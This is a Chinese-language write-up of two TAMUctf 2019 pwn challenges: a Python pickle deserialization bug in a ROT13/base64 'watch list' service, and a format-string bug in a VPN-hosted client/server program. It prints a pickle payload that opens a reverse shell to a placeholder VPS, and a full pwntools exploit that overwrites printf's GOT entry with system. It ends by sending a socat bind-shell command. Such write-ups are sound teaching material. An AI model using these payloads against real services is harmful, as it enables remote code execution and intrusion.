TAMUctf2019-pwn-writeup
pwn1-5的题目不难,之前已经有师傅发过writeup了,现在我把剩余两题pwn的writeup补充一下。
VeggieTales
题目描述:
It's my favorite show to watch while practicing my python skills! I've seen episode 5 at least 13 times.
nc pwn.tamuctf.com 8448
Difficulty: easy-medium
2.23 1:58 pm CST: Added hint to description
题目没有给elf,根据题目描述,应该是一个python写的应用,nc过去看一下
Do you like VeggieTales??
1. Add an episode to your watched list
2. Print your watch list
3. Backup your watch list
4. Load your watch list
菜单功能:
- 添加看过的剧集,只能输入1-47
- 打印已看过的剧集
- 备份当前清单,会返回一串base64
- 输入备份得到的那串base64,可恢复已看剧集清单
简单fuzz了一下,没发现什么漏洞,后来题目给出了提示I've seen episode 5 at least 13 times.
,看一下第5部ep是5. Dave and the Giant Pickle
,马上联想到是python pickle反序列化!
首先添加一部剧集,拿到一串base64进行分析,尝试直接使用pickle反序列化出现报错
Traceback (most recent call last):
File "X:\tmp\pwn7.py", line 69, in <module>
print(pickle.loads(base64.b64decode(s)))
_pickle.UnpicklingError: invalid load key, '\xb4'.
对比了一下正常的序列化字符串,发现要先经过ROT13后再base64decode,修改一下代码再次测试。
import base64, string, pickle, codecs
s = "tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt=="
print(pickle.loads(base64.b64decode(codecs.encode(s,"rot-13"))))
# ['5. Dave and the Giant Pickle']
根据以上分析,我们直接写一个反弹shell的payload,然后在Load your watch list
那里进行反序列化
import base64, string, pickle, codecs, platform
class Exploit(object):
def __reduce__(self):
return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"vps\",20004));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))
def serialize_exploit():
shellcode = pickle.dumps(Exploit())
return shellcode
exp = codecs.encode(str(base64.b64encode(serialize_exploit())),"rot-13")
print(exp)
本地监听端口,另一边输入生成的exp,成功反弹回来(你需要一个有公网ip的vps)
pwn6
题目描述:
Setup the VPN and use the client to connect to the server.
The servers ip address on the vpn is 172.30.0.2
Difficulty: hard
2/23 10:06 am: Added server ip
题目给了一个openvpn的配置文件,以及client和server的二进制文件。
程序保护情况:
[*] '/tmp/client'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/tmp/server'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
openvpn安装使用方法:
sudo apt-get install -y openvpn
cp pwn6.ovpn /etc/openvpn/
sudo openvpn pwn6.ovpn
尝试运行一下client,程序提供两个选项,选项0没什么用,选项1进行登陆,由于没账号密码,输入后提示账号无效,还是直接看二进制文件分析吧。
0. View Recent Login's With client
1. Login
Enter command to send to server...
由于flag存在server端,我们最终的目标还是要pwn掉server,因此先对server进行分析。server程序功能非常多,里面有不少sql操作,一度往数据库注入方向想,后来一想这是pwn题,不要走歪了。之后在server中发现一个叫process_message
函数,看程序逻辑,应该就是处理client发送信息的函数。
signed __int64 __fastcall process_message(struct server *a1, unsigned int *a2)
{
unsigned int v2; // ST14_4
signed __int64 result; // rax
__int64 v4; // ST00_8
__int64 v5; // [rsp+18h] [rbp-8h]
v5 = *((_QWORD *)a2 + 1); // send_data
if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )
{
v2 = (*(__int64 (__fastcall **)(struct server *, unsigned int *))&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2])(
a1,
a2);
printf("Result of action was %i\n", v2, a2);
result = v2;
}
else
{
printf("Unauthorized Command for Client %i\n", *a2, a2);
printf((const char *)(*(_QWORD *)(v4 + 8) + 8LL)); // fmt
result = 0xFFFFFFFFLL;
}
return result;
这里有一个很明显的格式化字符串漏洞,不过要运行到漏洞分支,需要绕过if
的判断,目前还不清楚client发包的结构,因此转到分析client的程序,从client入手分析发包过程。定位到client登陆操作用到的函数中:
signed __int64 __fastcall send_login(int *a1)
{
unsigned __int8 user_len; // ST1F_1
unsigned __int8 pwd_len; // ST1E_1
char passwd[256]; // [rsp+20h] [rbp-310h]
char user[520]; // [rsp+120h] [rbp-210h]
_BYTE *send_data; // [rsp+328h] [rbp-8h]
puts("Input Username for login:");
prompt_string(user, 256);
puts("Input Password for login:");
prompt_string(passwd, 256);
send_data = malloc(0x202uLL);
user_len = strlen(user) - 1;
pwd_len = strlen(passwd) - 1;
user[user_len] = 0;
passwd[pwd_len] = 0;
*send_data = user_len;
send_data[1] = pwd_len;
memcpy(send_data + 2, user, user_len);
memcpy(&send_data[user_len + 2], passwd, pwd_len);
send_msg(a1, 0, send_data, user_len + pwd_len + 2);
puts("Message sent to server.");
read(*a1, a1 + 2, 4uLL);
sleep(2u);
if ( a1[2] < 0 )
return 0xFFFFFFFELL;
a1[1] = 1;
return 1LL;
}
void __fastcall send_msg(int *a1, int a2, void *a3, unsigned int a4)
{
const void *src; // ST08_8
unsigned int n; // ST10_4
int v6; // [rsp+2Ch] [rbp-24h]
void *ptr; // [rsp+38h] [rbp-18h]
_DWORD *buf; // [rsp+40h] [rbp-10h]
signed int v9; // [rsp+4Ch] [rbp-4h]
src = a3;
n = a4;
v9 = a4 + 8;
buf = malloc(a4 + 8LL);
ptr = buf;
*buf = n;
buf[1] = a2;
memcpy(buf + 2, src, n);
while ( v9 > 0 )
{
v6 = write(*a1, buf, v9);
if ( v6 < 0 )
{
perror("Send");
exit(-1);
}
buf = (_DWORD *)((char *)buf + v6);
v9 -= v6;
}
free(ptr);
}
程序读取用户名和密码后,计算用户名和密码的长度,然后申请了一块内存储存用户名和密码,以及对应的长度,再通过send_msg
进行发送到server。写个简单的代码,在send_msg
处下个断点,动态调试一下,可以看到client发送的数据包结构:
from pwn import *
p = process(['./client', '127.0.0.1'])
p.sendlineafter('server...\n','1')
p.sendlineafter('login:\n','1111')
p.sendlineafter('login:\n','2222')
根据gdb调试的结果,可以推断出client的数据包结构体如下:
struct login_data
{
int user_len;
int pwd_len;
char user;
char passwd;
};
struct send_data
{
int32 data_len;
int32 action;
char login_data;
}
client发包后,同理在server端process_message
处下个断点,看看server端是如何处理数据包的。
► 0x4052b9 <handle_connections+1392> call process_message <0x404c99>
rdi: 0x7fffffffe040 ◂— 0x4
rsi: 0x6d8590 ◂— 0x7
pwndbg> x/4gx 0x6d8590
0x6d8590: 0x0000000000000007 0x00000000006d6480
0x6d85a0: 0x0000000000000000 0x0000001200000000
pwndbg> x/4gx 0x00000000006d6480
0x6d6480: 0x000000000000000a 0x3232313131310404
0x6d6490: 0x0000000000003232 0x0000000000000031
可见process_message
的v5 = *((_QWORD *)a2 + 1)
就是client发的数据包。现在需要分析一下if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )
是干什么的?直接看一下汇编,不难发现rdx
的值为send_data->action
的值,也就是send_msg
的第二个参数。
.text:0000000000404CA9 ; 7: v5 = *((_QWORD *)a2 + 1); // send_data
.text:0000000000404CA9 mov rax, [rbp+var_20]
.text:0000000000404CAD mov rax, [rax+8]
.text:0000000000404CB1 mov [rbp+var_8], rax
.text:0000000000404CB5 ; 8: if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )
.text:0000000000404CB5 mov rax, [rbp+var_8]
.text:0000000000404CB9 mov edx, [rax+4] ;; send_data->action
.text:0000000000404CBC mov rax, [rbp+var_20]
.text:0000000000404CC0 mov edx, edx
.text:0000000000404CC2 add rdx, 4
.text:0000000000404CC6 mov rax, [rax+rdx*8+8]
.text:0000000000404CCB test rax, rax
同时检查一下a2
中存放了什么数据,根据调试的结果,可以推测send_msg
的第二个参数用于选择对应的功能模块,而action=0
就是login的操作。
pwndbg> x/32gx 0x6d8590
0x6d8590: 0x0000000000000007 0x00000000006d6480
0x6d85a0: 0x0000000000000000 0x0000001200000000
0x6d85b0: 0x0000000000000012 0x0000000000405445
0x6d85c0: 0x0000000000000000 0x0000000000405c96
0x6d85d0: 0x0000000000000000 0x0000000000000000
0x6d85e0: 0x0000000000000000 0x0000000000000000
0x6d85f0: 0x0000000000000000 0x0000000000000000
0x6d8600: 0x0000000000000000 0x0000000000000000
0x6d8610: 0x0000000000000000 0x0000000000000000
pwndbg> x 0x0000000000405445
0x405445 <login>: 0x70ec8348e5894855
pwndbg> x 0x0000000000405c96
0x405c96 <create_account>: 0x40ec8348e5894855
那么只要我们根据client登录数据包的结构,构造一个数据包,控制send_data
的action
参数,让[rax+rdx*8+8]
落在空白处,程序就会判断不存在该功能,并进入else
分支,到格式化字符串漏洞的地方。现在,可以不用管client了,直接构造一个action
大于2的数据包进行调试,代码修改如下:
from pwn import *
p = remote('127.0.0.1', 6210)
def send_payload(action, payload):
p.send(p32(len(payload)) + p32(action) + payload)
send_payload(3,'aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p')
p.interactive()
发现输入的数据包存在栈中,那么利用就很简单了。接着就是常规的格式化字符串漏洞利用套路,修改printf@got.plt
为system@plt
。
尝试了各种的反弹shell姿势都无效,用curl和wget回传flag也没反应,最后用socat开了一个正向shell,成功连上~
完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'DEBUG'
elf = ELF('./server')
p = remote('172.30.0.2', 6210)
def send_payload(action, payload):
p.send(p32(len(payload)) + p32(action) + payload)
payload = ''
byte = []
offset = 15
for x in range(6):
a = elf.got['printf'] + x
b = elf.plt['system'] >> 8 * x & 0xff
byte.append((b,a))
byte.sort(key=lambda x:x[0],reverse=False)
count = 0
n = 0
for y in byte:
tmp = y[0]-count
if tmp < 0: tmp += 256
if tmp == 0:
payload += '%{}$hhn'.format(offset+9+n)
else:
payload += '%{}c%{}$hhn'.format(tmp,offset+9+n)
count += tmp
n += 1
payload = payload.ljust(72,'a')
for z in byte:
payload += p64(z[1])
send_payload(3,payload)
send_payload(3,'socat TCP-LISTEN:23333,reuseaddr,fork EXEC:"/bin/sh"\x00')
p.close()
总结
VeggieTales是一个常规的pickle反序列化,以往CTF一般是放在web题中。pwn6的server/client题型很新颖,虽然漏洞利用不难,不过调试过程还是踩了不少坑,题目质量不错,值得学习一下。